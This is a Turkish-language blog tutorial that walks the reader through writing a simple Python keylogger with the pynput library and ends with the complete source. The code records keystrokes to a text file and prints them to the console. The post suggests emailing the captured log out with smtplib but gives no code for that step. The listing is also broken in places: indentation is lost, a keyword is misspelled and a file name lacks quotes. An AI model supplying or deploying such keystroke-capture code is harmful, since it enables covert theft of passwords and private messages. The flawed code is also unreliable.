11 Haziran 2020 Perşembe

PYTHON İLE BASİT KEYLOGGER YAZALIM

   
 
       
     Arkadaşlar hepinize selamlar bugün python dilinde basit bir keylogger yazalım size tavsiyem başkalarının keyloggerlarını kullanmayın. Bu tarz keyloggerlarda backdoor bulunabilir ve sisteminizde ciddi bir şekilde risk yaratabilir. İlk iş olarak ben gerekli modüllerimi dahil ediyorum. Biz bugün "pynput" modülünü kullancaz. Pynput modülünü dahil edip bunun içindeki keyboardın "Key" ve "Listener" ını dahil ederek hem klavyeden çıktı alıcam hem de bunu bir dosyaya yazdıracağım.

    CODE:

            import pynput

            from pynput.keyboard import Key,Listener

        

        "with" ile bir kaç tanımlama işlemi yapıp işimiz zorlaşmasın diye bunu "listener" kelimesine atıyacağım. Burda on_press ve on_realease fonksiyonlarımı tanımlıyorum. Son olarak da listenerımı join methoduyla kullanıyorum.

       CODE:

            with Listener(on_press = on_press, on_realease = on_realease) as listener:

    listener.join()

          Klavyeden tıklandığında sayac isimli değişkeni 1 arttıralım öncelikle fonkisyonlar dışında sayac isimli değişkeni 0 olarak tanımlıyorum keys isimli bir liste oluşturup onu boş bırakıyorum biz bu listeye klavyeden girilenleri "append" metoduyla ekliyecez ve bunları keylog isimli bir ".txt" dosyası olarak kaydediceğiz.Tabiki bunların hepsini on_press fonksiyonumuzda gerçekleştiriyorum. 

       CODE:

         sayac = 0
         keys = []    
         def on_press(key):
        global sayac,keys
        sayac = sayac + 1
        print("{0} tiklandi".format(key))
        keys.append(key)

        if sayac >= 15:
    sayac = 0
    dosya_yaz(keys)
    keys = []

            Sayaç 15'ten büyük veya eşit olduğunda dosya_yaz isimli fonksiyonun içine listemizi yazdırmakta o zaman biz de şimdi dosya_yaz fonksiyonumuzu tanımlayalım

        CODE:

               def dosya_yaz(keys):

with open("keylog.txt", "a" , encoding = "utf-8") as file:

for key in keys:
k = str(key).replace("'", "")
if k.find("enter") > 0:
file.write("\n")
elif k.find("Key") == -1:
file.write(k)

              Buradaki işlemle dosya_yaz fonksiyonu içerisinde keylog.txt isimli bir metin belgesi oluşturduk ve bunun içerisindeki tırnakları vs. yok ettik.Entera basıldığında satır atlamasını istedik. Sonrasında da klavyeden alınan verinin dosyaya yazmasını istedik. Aynı zamanda alınan tuşların komut satırında da yazmasını istedik. Son olarak keyloggerın "esc" tuşuna basıldığında çıkış işlemi yapmasını isteyelim. Bu işlemi on_realease fonksiyonunda gerçekleştiriyoruz. 

          CODE:

                def on_realease(key):
            dosya = open(keylog.txt, "r")

            if key == Key.esc:
        print("exit")
        return False
 
            Evet böylelikle basit bir keylogger yazdık siz dilerseniz "smtplib" kütüphanesini kullanarak çıktıyı e posta aracılığıyla gönderebilirsiniz. Kolay Gelsin!!!


            TÜM KODLAR:


import pynput

from pynput.keyboard import Key,Listener

sayac = 0
keys = []



def on_press(key):
global sayac,keys
sayac = sayac + 1
print("{0} tiklandi".format(key))
keys.append(key)

if sayac >= 15:
sayac = 0
dosya_yaz(keys)
keys = []

def dosya_yaz(keys):

with open("keylog.txt", "a" , encoding = "utf-8") as file:
for key in keys:
k = str(key).replace("'", "")
if k.find("enter") > 0:
file.write("\n")
elif k.find("Key") == -1:
file.write(k)





def on_realease(key):
dosya = open(keylog.txt, "r")

if key == Key.esc:
print("exit")
return False

with Listener(on_press = on_press, on_realease = on_realease) as listener:
listener.join()
             

Önceki Yazı
Sonraki Yazı

Admin :

1 yorum :